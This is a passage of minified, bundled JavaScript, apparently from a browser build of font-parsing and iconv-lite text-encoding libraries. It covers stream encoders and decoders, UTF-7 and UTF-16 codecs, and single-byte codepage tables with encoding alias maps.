                            var o = i, a = this.header.dataOffset + o.dataOffset + 4, s = new V.DecodeStream(this.stream.buffer.slice(a)), u = new Oa(s);
                            if (u.postscriptName === t) return u
                        }
                        return null
                    }, Q(t, [{
                        key: "fonts", get: function () {
                            for (var t = [], e = this.sfnt.refList, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                                var i;
                                if (n) {
                                    if (r >= e.length) break;
                                    i = e[r++]
                                } else {
                                    if (r = e.next(), r.done) break;
                                    i = r.value
                                }
                                var o = i, a = this.header.dataOffset + o.dataOffset + 4, s = new V.DecodeStream(this.stream.buffer.slice(a));
                                t.push(new Oa(s))
                            }
                            return t
                        }
                    }]), t
                }();
            gt.registerFormat(Oa), gt.registerFormat(Ba), gt.registerFormat(Na), gt.registerFormat(Ha), gt.registerFormat($a), t.exports = gt
        }).call(e, n(2).Buffer, n(34))
    }, function (t, e, n) {
        (function () {
            var t, r, i, o;
            e.EncodeStream = n(82), e.DecodeStream = n(83), e.Array = n(105), e.LazyArray = n(108), e.Bitfield = n(109), e.Boolean = n(110), e.Buffer = n(111), e.Enum = n(112), e.Optional = n(113), e.Reserved = n(114), e.String = n(115), e.Struct = n(116), e.VersionedStruct = n(117), i = n(106);
            for (t in i) r = i[t], e[t] = r;
            o = n(118);
            for (t in o) r = o[t], e[t] = r
        }).call(this)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o, a, s = {}.hasOwnProperty, u = function (t, e) {
                    function n() {
                        this.constructor = t
                    }

                    for (var r in e) s.call(e, r) && (t[r] = e[r]);
                    return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
                };
                a = n(30), r = n(83);
                try {
                    o = n(84)
                } catch (t) {
                }
                i = function (t) {
                    function n(t) {
                        null == t && (t = 65536), n.__super__.constructor.apply(this, arguments), this.buffer = new e(t), this.bufferOffset = 0, this.pos = 0
                    }

                    var i;
                    u(n, t);
                    for (i in e.prototype) "write" === i.slice(0, 5) && function (t) {
                        var e;
                        e = +r.TYPES[t.replace(/write|[BL]E/g, "")], n.prototype[t] = function (n) {
                            return this.ensure(e), this.buffer[t](n, this.bufferOffset), this.bufferOffset += e, this.pos += e
                        }
                    }(i);
                    return n.prototype._read = function () {
                    }, n.prototype.ensure = function (t) {
                        if (this.bufferOffset + t > this.buffer.length) return this.flush()
                    }, n.prototype.flush = function () {
                        if (this.bufferOffset > 0) return this.push(new e(this.buffer.slice(0, this.bufferOffset))), this.bufferOffset = 0
                    }, n.prototype.writeBuffer = function (t) {
                        return this.flush(), this.push(t), this.pos += t.length
                    }, n.prototype.writeString = function (t, n) {
                        var r, i, a, s, u;
                        switch (null == n && (n = "ascii"), n) {
                            case"utf16le":
                            case"ucs2":
                            case"utf8":
                            case"ascii":
                                return this.writeBuffer(new e(t, n));
                            case"utf16be":
                                for (r = new e(t, "utf16le"), a = s = 0, u = r.length - 1; s < u; a = s += 2) i = r[a], r[a] = r[a + 1], r[a + 1] = i;
                                return this.writeBuffer(r);
                            default:
                                if (o) return this.writeBuffer(o.encode(t, n));
                                throw new Error("Install iconv-lite to enable additional string encodings.")
                        }
                    }, n.prototype.writeUInt24BE = function (t) {
                        return this.ensure(3), this.buffer[this.bufferOffset++] = t >>> 16 & 255, this.buffer[this.bufferOffset++] = t >>> 8 & 255, this.buffer[this.bufferOffset++] = 255 & t, this.pos += 3
                    }, n.prototype.writeUInt24LE = function (t) {
                        return this.ensure(3), this.buffer[this.bufferOffset++] = 255 & t, this.buffer[this.bufferOffset++] = t >>> 8 & 255, this.buffer[this.bufferOffset++] = t >>> 16 & 255, this.pos += 3
                    }, n.prototype.writeInt24BE = function (t) {
                        return t >= 0 ? this.writeUInt24BE(t) : this.writeUInt24BE(t + 16777215 + 1)
                    }, n.prototype.writeInt24LE = function (t) {
                        return t >= 0 ? this.writeUInt24LE(t) : this.writeUInt24LE(t + 16777215 + 1)
                    }, n.prototype.fill = function (t, n) {
                        var r;
                        return n < this.buffer.length ? (this.ensure(n), this.buffer.fill(t, this.bufferOffset, this.bufferOffset + n), this.bufferOffset += n, this.pos += n) : (r = new e(n), r.fill(t), this.writeBuffer(r))
                    }, n.prototype.end = function () {
                        return this.flush(), this.push(null)
                    }, n
                }(a.Readable), t.exports = i
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i;
                try {
                    i = n(84)
                } catch (t) {
                }
                r = function () {
                    function t(t) {
                        this.buffer = t, this.pos = 0, this.length = this.buffer.length
                    }

                    var n;
                    t.TYPES = {UInt8: 1, UInt16: 2, UInt24: 3, UInt32: 4, Int8: 1, Int16: 2, Int24: 3, Int32: 4, Float: 4, Double: 8};
                    for (n in e.prototype) "read" === n.slice(0, 4) && function (e) {
                        var n;
                        n = t.TYPES[e.replace(/read|[BL]E/g, "")], t.prototype[e] = function () {
                            var t;
                            return t = this.buffer[e](this.pos), this.pos += n, t
                        }
                    }(n);
                    return t.prototype.readString = function (t, n) {
                        var r, o, a, s, u;
                        switch (null == n && (n = "ascii"), n) {
                            case"utf16le":
                            case"ucs2":
                            case"utf8":
                            case"ascii":
                                return this.buffer.toString(n, this.pos, this.pos += t);
                            case"utf16be":
                                for (r = new e(this.readBuffer(t)), a = s = 0, u = r.length - 1; s < u; a = s += 2) o = r[a], r[a] = r[a + 1], r[a + 1] = o;
                                return r.toString("utf16le");
                            default:
                                return r = this.readBuffer(t), i ? i.decode(r, n) : r
                        }
                    }, t.prototype.readBuffer = function (t) {
                        return this.buffer.slice(this.pos, this.pos += t)
                    }, t.prototype.readUInt24BE = function () {
                        return (this.readUInt16BE() << 8) + this.readUInt8()
                    }, t.prototype.readUInt24LE = function () {
                        return this.readUInt16LE() + (this.readUInt8() << 16)
                    }, t.prototype.readInt24BE = function () {
                        return (this.readInt16BE() << 8) + this.readUInt8()
                    }, t.prototype.readInt24LE = function () {
                        return this.readUInt16LE() + (this.readInt8() << 16)
                    }, t
                }(), t.exports = r
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (e, r) {
            "use strict";
            var i = n(85), o = t.exports;
            o.encodings = null, o.defaultCharUnicode = "�", o.defaultCharSingleByte = "?", o.encode = function (t, n, r) {
                t     = "" + (t || "");
                var i = o.getEncoder(n, r), a = i.write(t), s = i.end();
                return s && s.length > 0 ? e.concat([a, s]) : a
            }, o.decode = function (t, n, r) {
                "string" == typeof t && (o.skipDecodeWarning || (o.skipDecodeWarning = !0), t = new e("" + (t || ""), "binary"));
                var i = o.getDecoder(n, r), a = i.write(t), s = i.end();
                return s ? a + s : a
            }, o.encodingExists = function (t) {
                try {
                    return o.getCodec(t), !0
                } catch (t) {
                    return !1
                }
            }, o.toEncoding = o.encode, o.fromEncoding = o.decode, o._codecDataCache = {}, o.getCodec = function (t) {
                o.encodings || (o.encodings = n(86));
                for (var e = ("" + t).toLowerCase().replace(/[^0-9a-z]|:\d{4}$/g, ""), r = {}; ;) {
                    var i = o._codecDataCache[e];
                    if (i) return i;
                    var a = o.encodings[e];
                    switch (typeof a) {
                        case"string":
                            e = a;
                            break;
                        case"object":
                            for (var s in a) r[s] = a[s];
                            r.encodingName || (r.encodingName = e), e = a.type;
                            break;
                        case"function":
                            return r.encodingName || (r.encodingName = e), i = new a(r, o), o._codecDataCache[r.encodingName] = i, i;
                        default:
                            throw new Error("Encoding not recognized: '" + t + "' (searched as: '" + e + "')")
                    }
                }
            }, o.getEncoder = function (t, e) {
                var n = o.getCodec(t), r = new n.encoder(e, n);
                return n.bomAware && e && e.addBOM && (r = new i.PrependBOM(r, e)), r
            }, o.getDecoder = function (t, e) {
                var n = o.getCodec(t), r = new n.decoder(e, n);
                return !n.bomAware || e && e.stripBOM === !1 || (r = new i.StripBOM(r, e)), r
            };
            var a = void 0 !== r && r.versions && r.versions.node;
            if (a) {
                var s = a.split(".").map(Number);
                (s[0] > 0 || s[1] >= 10) && n(103)(o), n(104)(o)
            }
        }).call(e, n(2).Buffer, n(34))
    }, function (t, e) {
        "use strict";

        function n(t, e) {
            this.encoder = t, this.addBOM = !0
        }

        function r(t, e) {
            this.decoder = t, this.pass = !1, this.options = e || {}
        }

        e.PrependBOM = n, n.prototype.write = function (t) {
            return this.addBOM && (t = "\ufeff" + t, this.addBOM = !1), this.encoder.write(t)
        }, n.prototype.end = function () {
            return this.encoder.end()
        }, e.StripBOM = r, r.prototype.write = function (t) {
            var e = this.decoder.write(t);
            return this.pass || !e ? e : ("\ufeff" === e[0] && (e = e.slice(1), "function" == typeof this.options.stripBOM && this.options.stripBOM()), this.pass = !0, e)
        }, r.prototype.end = function () {
            return this.decoder.end()
        }
    }, function (t, e, n) {
        "use strict";
        for (var r = [n(87), n(88), n(89), n(90), n(91), n(92), n(93), n(94)], i = 0; i < r.length; i++) {
            var t = r[i];
            for (var o in t) Object.prototype.hasOwnProperty.call(t, o) && (e[o] = t[o])
        }
    }, function (t, e, n) {
        (function (e) {
            "use strict";

            function r(t, n) {
                this.enc = t.encodingName, this.bomAware = t.bomAware, "base64" === this.enc ? this.encoder = a : "cesu8" === this.enc && (this.enc = "utf8", this.encoder = s, 3 == new e("eda080", "hex").toString().length && (this.decoder = u, this.defaultCharUnicode = n.defaultCharUnicode))
            }

            function i(t, e) {
                c.call(this, e.enc)
            }

            function o(t, e) {
                this.enc = e.enc
            }

            function a(t, e) {
                this.prevStr = ""
            }

            function s(t, e) {
            }

            function u(t, e) {
                this.acc = 0, this.contBytes = 0, this.accBytes = 0, this.defaultCharUnicode = e.defaultCharUnicode
            }

            t.exports = {
                utf8: {type: "_internal", bomAware: !0},
                cesu8: {type: "_internal", bomAware: !0},
                unicode11utf8: "utf8",
                ucs2: {type: "_internal", bomAware: !0},
                utf16le: "ucs2",
                binary: {type: "_internal"},
                base64: {type: "_internal"},
                hex: {type: "_internal"},
                _internal: r
            }, r.prototype.encoder = o, r.prototype.decoder = i;
            var c = n(46).StringDecoder;
            c.prototype.end || (c.prototype.end = function () {
            }), i.prototype = c.prototype, o.prototype.write = function (t) {
                return new e(t, this.enc)
            }, o.prototype.end = function () {
            }, a.prototype.write = function (t) {
                t     = this.prevStr + t;
                var n = t.length - t.length % 4;
                return this.prevStr = t.slice(n), t = t.slice(0, n), new e(t, "base64")
            }, a.prototype.end = function () {
                return new e(this.prevStr, "base64")
            }, s.prototype.write = function (t) {
                for (var n = new e(3 * t.length), r = 0, i = 0; i < t.length; i++) {
                    var o = t.charCodeAt(i);
                    o < 128 ? n[r++] = o : o < 2048 ? (n[r++] = 192 + (o >>> 6), n[r++] = 128 + (63 & o)) : (n[r++] = 224 + (o >>> 12), n[r++] = 128 + (o >>> 6 & 63), n[r++] = 128 + (63 & o))
                }
                return n.slice(0, r)
            }, s.prototype.end = function () {
            }, u.prototype.write = function (t) {
                for (var e = this.acc, n = this.contBytes, r = this.accBytes, i = "", o = 0; o < t.length; o++) {
                    var a = t[o];
                    128 != (192 & a) ? (n > 0 && (i += this.defaultCharUnicode, n = 0), a < 128 ? i += String.fromCharCode(a) : a < 224 ? (e = 31 & a, n = 1, r = 1) : a < 240 ? (e = 15 & a, n = 2, r = 1) : i += this.defaultCharUnicode) : n > 0 ? (e = e << 6 | 63 & a, n--, r++, 0 === n && (i += 2 === r && e < 128 && e > 0 ? this.defaultCharUnicode : 3 === r && e < 2048 ? this.defaultCharUnicode : String.fromCharCode(e))) : i += this.defaultCharUnicode
                }
                return this.acc = e, this.contBytes = n, this.accBytes = r, i
            }, u.prototype.end = function () {
                var t = 0;
                return this.contBytes > 0 && (t += this.defaultCharUnicode), t
            }
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (t) {
            "use strict";

            function n() {
            }

            function r() {
            }

            function i() {
                this.overflowByte = -1
            }

            function o(t, e) {
                this.iconv = e
            }

            function a(t, e) {
                t = t || {}, void 0 === t.addBOM && (t.addBOM = !0), this.encoder = e.iconv.getEncoder("utf-16le", t)
            }

            function s(t, e) {
                this.decoder = null, this.initialBytes = [], this.initialBytesLen = 0, this.options = t || {}, this.iconv = e.iconv
            }

            function u(t, e) {
                var n = e || "utf-16le";
                if (t.length >= 2) if (254 == t[0] && 255 == t[1]) n = "utf-16be"; else if (255 == t[0] && 254 == t[1]) n = "utf-16le"; else {
                    for (var r = 0, i = 0, o = Math.min(t.length - t.length % 2, 64), a = 0; a < o; a += 2) 0 === t[a] && 0 !== t[a + 1] && i++, 0 !== t[a] && 0 === t[a + 1] && r++;
                    i > r ? n = "utf-16be" : i < r && (n = "utf-16le")
                }
                return n
            }

            e.utf16be = n, n.prototype.encoder = r, n.prototype.decoder = i, n.prototype.bomAware = !0, r.prototype.write = function (e) {
                for (var n = new t(e, "ucs2"), r = 0; r < n.length; r += 2) {
                    var i = n[r];
                    n[r] = n[r + 1], n[r + 1] = i
                }
                return n
            }, r.prototype.end = function () {
            }, i.prototype.write = function (e) {
                if (0 == e.length) return "";
                var n = new t(e.length + 1), r = 0, i = 0;
                for (this.overflowByte !== -1 && (n[0] = e[0], n[1] = this.overflowByte, r = 1, i = 2); r < e.length - 1; r += 2, i += 2) n[i] = e[r + 1], n[i + 1] = e[r];
                return this.overflowByte = r == e.length - 1 ? e[e.length - 1] : -1, n.slice(0, i).toString("ucs2")
            }, i.prototype.end = function () {
            }, e.utf16 = o, o.prototype.encoder = a, o.prototype.decoder = s, a.prototype.write = function (t) {
                return this.encoder.write(t)
            }, a.prototype.end = function () {
                return this.encoder.end()
            }, s.prototype.write = function (e) {
                if (!this.decoder) {
                    if (this.initialBytes.push(e), this.initialBytesLen += e.length, this.initialBytesLen < 16) return "";
                    var e = t.concat(this.initialBytes), n = u(e, this.options.defaultEncoding);
                    this.decoder = this.iconv.getDecoder(n, this.options), this.initialBytes.length = this.initialBytesLen = 0
                }
                return this.decoder.write(e)
            }, s.prototype.end = function () {
                if (!this.decoder) {
                    var e        = t.concat(this.initialBytes), n = u(e, this.options.defaultEncoding);
                    this.decoder = this.iconv.getDecoder(n, this.options);
                    var r        = this.decoder.write(e), i = this.decoder.end();
                    return i ? r + i : r
                }
                return this.decoder.end()
            }
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (t) {
            "use strict";

            function n(t, e) {
                this.iconv = e
            }

            function r(t, e) {
                this.iconv = e.iconv
            }

            function i(t, e) {
                this.iconv = e.iconv, this.inBase64 = !1, this.base64Accum = ""
            }

            function o(t, e) {
                this.iconv = e
            }

            function a(e, n) {
                this.iconv = n.iconv, this.inBase64 = !1, this.base64Accum = new t(6), this.base64AccumIdx = 0
            }

            function s(t, e) {
                this.iconv = e.iconv, this.inBase64 = !1, this.base64Accum = ""
            }

            e.utf7 = n, e.unicode11utf7 = "utf7", n.prototype.encoder = r, n.prototype.decoder = i, n.prototype.bomAware = !0;
            r.prototype.write = function (e) {
                return new t(e.replace(/[^A-Za-z0-9'\(\),-\.\/:\? \n\r\t]+/g, function (t) {
                    return "+" + ("+" === t ? "" : this.iconv.encode(t, "utf16-be").toString("base64").replace(/=+$/, "")) + "-"
                }.bind(this)))
            }, r.prototype.end = function () {
            };
            for (var u = /[A-Za-z0-9\/+]/, c = [], l = 0; l < 256; l++) c[l] = u.test(String.fromCharCode(l));
            var f = "+".charCodeAt(0), h = "-".charCodeAt(0), p = "&".charCodeAt(0);
            i.prototype.write = function (e) {
                for (var n = "", r = 0, i = this.inBase64, o = this.base64Accum, a = 0; a < e.length; a++) if (i) {
                    if (!c[e[a]]) {
                        if (a == r && e[a] == h) n += "+"; else {
                            var s = o + e.slice(r, a).toString();
                            n += this.iconv.decode(new t(s, "base64"), "utf16-be")
                        }
                        e[a] != h && a--, r = a + 1, i = !1, o = ""
                    }
                } else e[a] == f && (n += this.iconv.decode(e.slice(r, a), "ascii"), r = a + 1, i = !0);
                if (i) {
                    var s = o + e.slice(r).toString(), u = s.length - s.length % 8;
                    o = s.slice(u), s = s.slice(0, u), n += this.iconv.decode(new t(s, "base64"), "utf16-be")
                } else n += this.iconv.decode(e.slice(r), "ascii");
                return this.inBase64 = i, this.base64Accum = o, n
            }, i.prototype.end = function () {
                var e = "";
                return this.inBase64 && this.base64Accum.length > 0 && (e = this.iconv.decode(new t(this.base64Accum, "base64"), "utf16-be")), this.inBase64 = !1, this.base64Accum = "", e
            }, e.utf7imap = o, o.prototype.encoder = a, o.prototype.decoder = s, o.prototype.bomAware = !0, a.prototype.write = function (e) {
                for (var n = this.inBase64, r = this.base64Accum, i = this.base64AccumIdx, o = new t(5 * e.length + 10), a = 0, s = 0; s < e.length; s++) {
                    var u = e.charCodeAt(s);
                    32 <= u && u <= 126 ? (n && (i > 0 && (a += o.write(r.slice(0, i).toString("base64").replace(/\//g, ",").replace(/=+$/, ""), a), i = 0), o[a++] = h, n = !1), n || (o[a++] = u, u === p && (o[a++] = h))) : (n || (o[a++] = p, n = !0), n && (r[i++] = u >> 8, r[i++] = 255 & u, i == r.length && (a += o.write(r.toString("base64").replace(/\//g, ","), a), i = 0)))
                }
                return this.inBase64 = n, this.base64AccumIdx = i, o.slice(0, a)
            }, a.prototype.end = function () {
                var e = new t(10), n = 0;
                return this.inBase64 && (this.base64AccumIdx > 0 && (n += e.write(this.base64Accum.slice(0, this.base64AccumIdx).toString("base64").replace(/\//g, ",").replace(/=+$/, ""), n), this.base64AccumIdx = 0), e[n++] = h, this.inBase64 = !1), e.slice(0, n)
            };
            var d = c.slice();
            d[",".charCodeAt(0)] = !0, s.prototype.write = function (e) {
                for (var n = "", r = 0, i = this.inBase64, o = this.base64Accum, a = 0; a < e.length; a++) if (i) {
                    if (!d[e[a]]) {
                        if (a == r && e[a] == h) n += "&"; else {
                            var s = o + e.slice(r, a).toString().replace(/,/g, "/");
                            n += this.iconv.decode(new t(s, "base64"), "utf16-be")
                        }
                        e[a] != h && a--, r = a + 1, i = !1, o = ""
                    }
                } else e[a] == p && (n += this.iconv.decode(e.slice(r, a), "ascii"), r = a + 1, i = !0);
                if (i) {
                    var s = o + e.slice(r).toString().replace(/,/g, "/"), u = s.length - s.length % 8;
                    o = s.slice(u), s = s.slice(0, u), n += this.iconv.decode(new t(s, "base64"), "utf16-be")
                } else n += this.iconv.decode(e.slice(r), "ascii");
                return this.inBase64 = i, this.base64Accum = o, n
            }, s.prototype.end = function () {
                var e = "";
                return this.inBase64 && this.base64Accum.length > 0 && (e = this.iconv.decode(new t(this.base64Accum, "base64"), "utf16-be")), this.inBase64 = !1, this.base64Accum = "", e
            }
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (t) {
            "use strict";

            function n(e, n) {
                if (!e) throw new Error("SBCS codec is called without the data.");
                if (!e.chars || 128 !== e.chars.length && 256 !== e.chars.length) throw new Error("Encoding '" + e.type + "' has incorrect 'chars' (must be of len 128 or 256)");
                if (128 === e.chars.length) {
                    for (var r = "", i = 0; i < 128; i++) r += String.fromCharCode(i);
                    e.chars = r + e.chars
                }
                this.decodeBuf = new t(e.chars, "ucs2");
                var o          = new t(65536);
                o.fill(n.defaultCharSingleByte.charCodeAt(0));
                for (var i = 0; i < e.chars.length; i++) o[e.chars.charCodeAt(i)] = i;
                this.encodeBuf = o
            }

            function r(t, e) {
                this.encodeBuf = e.encodeBuf
            }

            function i(t, e) {
                this.decodeBuf = e.decodeBuf
            }

            e._sbcs = n, n.prototype.encoder = r, n.prototype.decoder = i, r.prototype.write = function (e) {
                for (var n = new t(e.length), r = 0; r < e.length; r++) n[r] = this.encodeBuf[e.charCodeAt(r)];
                return n
            }, r.prototype.end = function () {
            }, i.prototype.write = function (e) {
                for (var n = this.decodeBuf, r = new t(2 * e.length), i = 0, o = 0, a = 0; a < e.length; a++) i = 2 * e[a], o = 2 * a, r[o] = n[i], r[o + 1] = n[i + 1];
                return r.toString("ucs2")
            }, i.prototype.end = function () {
            }
        }).call(e, n(2).Buffer)
    }, function (t, e) {
        "use strict";
        t.exports = {
            10029: "maccenteuro",
            maccenteuro: {type: "_sbcs", chars: "ÄĀāÉĄÖÜáąČäčĆć鏟ĎíďĒēĖóėôöõúĚěü†°Ę£§•¶ß®©™ę¨≠ģĮįĪ≤≥īĶ∂∑łĻļĽľĹĺŅņѬ√ńŇ∆«»… ňŐÕőŌ–—“”‘’÷◊ōŔŕŘ‹›řŖŗŠ‚„šŚśÁŤťÍŽžŪÓÔūŮÚůŰűŲųÝýķŻŁżĢˇ"},
            808: "cp808",
            ibm808: "cp808",
            cp808: {type: "_sbcs", chars: "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀рстуфхцчшщъыьэюяЁёЄєЇїЎў°∙·√№€■ "},
            ascii8bit: "ascii",
            usascii: "ascii",
            ansix34: "ascii",
            ansix341968: "ascii",
            ansix341986: "ascii",
            csascii: "ascii",
            cp367: "ascii",
            ibm367: "ascii",
            isoir6: "ascii",
            iso646us: "ascii",
            iso646irv: "ascii",
            us: "ascii",
            latin1: "iso88591",
            latin2: "iso88592",
            latin3: "iso88593",
            latin4: "iso88594",
            latin5: "iso88599",
            latin6: "iso885910",
            latin7: "iso885913",
            latin8: "iso885914",
            latin9: "iso885915",
            latin10: "iso885916",
            csisolatin1: "iso88591",
            csisolatin2: "iso88592",
            csisolatin3: "iso88593",
            csisolatin4: "iso88594",
            csisolatincyrillic: "iso88595",
            csisolatinarabic: "iso88596",
            csisolatingreek: "iso88597",
            csisolatinhebrew: "iso88598",
            csisolatin5: "iso88599",
            csisolatin6: "iso885910",
            l1: "iso88591",
            l2: "iso88592",
            l3: "iso88593",
            l4: "iso88594",
            l5: "iso88599",
            l6: "iso885910",
            l7: "iso885913",
            l8: "iso885914",
            l9: "iso885915",
            l10: "iso885916",
            isoir14: "iso646jp",
            isoir57: "iso646cn",
            isoir100: "iso88591",
            isoir101: "iso88592",
            isoir109: "iso88593",
            isoir110: "iso88594",
            isoir144: "iso88595",
            isoir127: "iso88596",
            isoir126: "iso88597",
            isoir138: "iso88598",
            isoir148: "iso88599",
            isoir157: "iso885910",
            isoir166: "tis620",
            isoir179: "iso885913",
            isoir199: "iso885914",
            isoir203: "iso885915",
            isoir226: "iso885916",
            cp819: "iso88591",
            ibm819: "iso88591",
            cyrillic: "iso88595",
            arabic: "iso88596",
            arabic8: "iso88596",
            ecma114: "iso88596",
            asmo708: "iso88596",
            greek: "iso88597",
            greek8: "iso88597",
            ecma118: "iso88597",
            elot928: "iso88597",
            hebrew: "iso88598",
            hebrew8: "iso88598",
            turkish: "iso88599",
            turkish8: "iso88599",
            thai: "iso885911",
            thai8: "iso885911",
            celtic: "iso885914",
            celtic8: "iso885914",
            isoceltic: "iso885914",
            tis6200: "tis620",
            tis62025291: "tis620",
            tis62025330: "tis620",
            10000: "macroman",
            10006: "macgreek",
            10007: "maccyrillic",
            10079: "maciceland",
            10081: "macturkish",
            cspc8codepage437: "cp437",
            cspc775baltic: "cp775",
            cspc850multilingual: "cp850",
            cspcp852: "cp852",
            cspc862latinhebrew: "cp862",
            cpgr: "cp869",
            msee: "cp1250",
            mscyrl: "cp1251",
            msansi: "cp1252",
            msgreek: "cp1253",
            msturk: "cp1254",
            mshebr: "cp1255",
            msarab: "cp1256",
            winbaltrim: "cp1257",
            cp20866: "koi8r",
            20866: "koi8r",
            ibm878: "koi8r",
            cskoi8r: "koi8r",
            cp21866: "koi8u",
            21866: "koi8u",
            ibm1168: "koi8u",
            strk10482002: "rk1048",
            tcvn5712: "tcvn",
            tcvn57121: "tcvn",
            gb198880: "iso646cn",
            cn: "iso646cn",
            csiso14jisc6220ro: "iso646jp",
            jisc62201969ro: "iso646jp",
            jp: "iso646jp",
            cshproman8: "hproman8",
            r8: "hproman8",
            roman8: "hproman8",
            xroman8: "hproman8",
            ibm1051: "hproman8",
            mac: "macintosh",
            csmacintosh: "macintosh"
        }
    }, function (t, e) {
        "use strict";
        t.exports = {
            437: "cp437",
            737: "cp737",
            775: "cp775",
            850: "cp850",
            852: "cp852",
            855: "cp855",
            856: "cp856",
            857: "cp857",
            858: "cp858",
            860: "cp860",
            861: "cp861",
            862: "cp862",
            863: "cp863",
            864: "cp864",
            865: "cp865",
            866: "cp866",
            869: "cp869",
            874: "windows874",
            922: "cp922",
            1046: "cp1046",
            1124: "cp1124",
            1125: "cp1125",
            1129: "cp1129",
            1133: "cp1133",
            1161: "cp1161",
            1162: "cp1162",
            1163: "cp1163",
            1250: "windows1250",
            1251: "windows1251",
            1252: "windows1252",
            1253: "windows1253",
            1254: "windows1254",
            1255: "windows1255",
            1256: "windows1256",
            1257: "windows1257",
            1258: "windows1258",
            28591: "iso88591",
            28592: "iso88592",
            28593: "iso88593",
            28594: "iso88594",
            28595: "iso88595",
            28596: "iso88596",
            28597: "iso88597",
            28598: "iso88598",
            28599: "iso88599",
            28600: "iso885910",
            28601: "iso885911",
            28603: "iso885913",
            28604: "iso885914",
            28605: "iso885915",
            28606: "iso885916",
            windows874: {type: "_sbcs", chars: "€����…�����������‘’“”•–—�������� กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู����฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛����"},
            win874: "windows874",
            cp874: "windows874",
            windows1250: {type: "_sbcs", chars: "€�‚�„…†‡�‰Š‹ŚŤŽŹ�‘’“”•–—�™š›śťžź ˇ˘Ł¤Ą¦§¨©Ş«¬­®Ż°±˛ł´µ¶·¸ąş»Ľ˝ľżŔÁÂĂÄĹĆÇČÉĘËĚÍÎĎĐŃŇÓÔŐÖ×ŘŮÚŰÜÝŢßŕáâăäĺćçčéęëěíîďđńňóôőö÷řůúűüýţ˙"},
            win1250: "windows1250",
            cp1250: "windows1250",
            windows1251: {type: "_sbcs", chars: "ЂЃ‚ѓ„…†‡€‰Љ‹ЊЌЋЏђ‘’“”•–—�™љ›њќћџ ЎўЈ¤Ґ¦§Ё©Є«¬­®Ї°±Ііґµ¶·ё№є»јЅѕїАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя"},
            win1251: "windows1251",
            cp1251: "windows1251",
            windows1252: {type: "_sbcs", chars: "€�‚ƒ„…†‡ˆ‰Š‹Œ�Ž��‘’“”•–—˜™š›œ�žŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"},
            win1252: "windows1252",
            cp1252: "windows1252",
            windows1253: {type: "_sbcs", chars: "€�‚ƒ„…†‡�‰�‹�����‘’“”•–—�™�›���� ΅Ά£¤¥¦§¨©�«¬­®―°±²³΄µ¶·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�"},
            win1253: "windows1253",
            cp1253: "windows1253",
            windows1254: {type: "_sbcs", chars: "€�‚ƒ„…†‡ˆ‰Š‹Œ����‘’“”•–—˜™š›œ��Ÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏĞÑÒÓÔÕÖרÙÚÛÜİŞßàáâãäåæçèéêëìíîïğñòóôõö÷øùúûüışÿ"},
            win1254: "windows1254",
            cp1254: "windows1254",
            windows1255: {type: "_sbcs", chars: "€�‚ƒ„…†‡ˆ‰�‹�����‘’“”•–—˜™�›���� ¡¢£₪¥¦§¨©×«¬­®¯°±²³´µ¶·¸¹÷»¼½¾¿ְֱֲֳִֵֶַָֹ�ֻּֽ־ֿ׀ׁׂ׃װױײ׳״�������אבגדהוזחטיךכלםמןנסעףפץצקרשת��‎‏�"},
            win1255: "windows1255",
            cp1255: "windows1255",
            windows1256: {type: "_sbcs", chars: "€پ‚ƒ„…†‡ˆ‰ٹ‹Œچژڈگ‘’“”•–—ک™ڑ›œ‌‍ں ،¢£¤¥¦§¨©ھ«¬­®¯°±²³´µ¶·¸¹؛»¼½¾؟ہءآأؤإئابةتثجحخدذرزسشصض×طظعغـفقكàلâمنهوçèéêëىيîïًٌٍَôُِ÷ّùْûü‎‏ے"},
            win1256: "windows1256",
            cp1256: "windows1256",
            windows1257: {type: "_sbcs", chars: "€�‚�„…†‡�‰�‹�¨ˇ¸�‘’“”•–—�™�›�¯˛� �¢£¤�¦§Ø©Ŗ«¬­®Æ°±²³´µ¶·ø¹ŗ»¼½¾æĄĮĀĆÄÅĘĒČÉŹĖĢĶĪĻŠŃŅÓŌÕÖ×ŲŁŚŪÜŻŽßąįāćäåęēčéźėģķīļšńņóōõö÷ųłśūüżž˙"},
            win1257: "windows1257",
            cp1257: "windows1257",
            windows1258: {type: "_sbcs", chars: "€�‚ƒ„…†‡ˆ‰�‹Œ����‘’“”•–—˜™�›œ��Ÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂĂÄÅÆÇÈÉÊË̀ÍÎÏĐÑ̉ÓÔƠÖרÙÚÛÜỮßàáâăäåæçèéêë́íîïđṇ̃óôơö÷øùúûüư₫ÿ"},
            win1258: "windows1258",
            cp1258: "windows1258",
